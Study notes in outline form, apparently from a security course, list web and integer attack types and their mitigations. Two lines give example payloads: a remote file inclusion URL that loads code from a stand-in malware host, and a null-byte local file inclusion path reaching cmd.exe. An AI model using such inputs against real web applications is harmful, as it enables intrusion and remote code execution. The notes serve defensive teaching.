Mitigating Attack Types Part 2

• IntegerOverflow – Add 1 to the max

• 

• First bit of signed integers determines if it’s positive or negative.

• Check boundaries and input validate.

• Web App Vulnerabilities and Attacks

  • Directory Traversal Attacks

    • The “../ attack”

    • Attempt to access other files on the same machine as the web app.

    • Detected by the app or the web app firewall.

  • File Inclusion

    • Upload external files into a website.

    • Remote File Inclusion

    • Page.php?some_input=http://www.malware.com/malware.php

  • Local File Inclusion

    • Webpage.php?font=../../Windows/system32/cmd.exe%00

  • Cross-Site Scripting (XSS)

    • Target a user’s browser to execute arbitrarty code when visiting a specific URL.

    • Reflected vs Stored XSS

    • Mitigation

      • Sanitize input

      • WAF, IDS

      • Update web server and clients

  • SQL Injection

    • Hiding SQL queries in user input

    • Attempts to compromise the database behind a web app

    • Mitigations

      • Prepared statements

      • Sanitize inputs

  • Insecure Object References

    • Exposing resources for unauthorized access

    • Mitigations

      • Proper application design

      • Authentication and authorization

  • XML Attacks

    • Billion laughs attack. Denial of service with a bunch of LOLs.

    • Mitigations: analyze text

  • XML External Entities (XXE)

    • Embed file requests to local resources.

    • Mitigation: Validate and sanitize.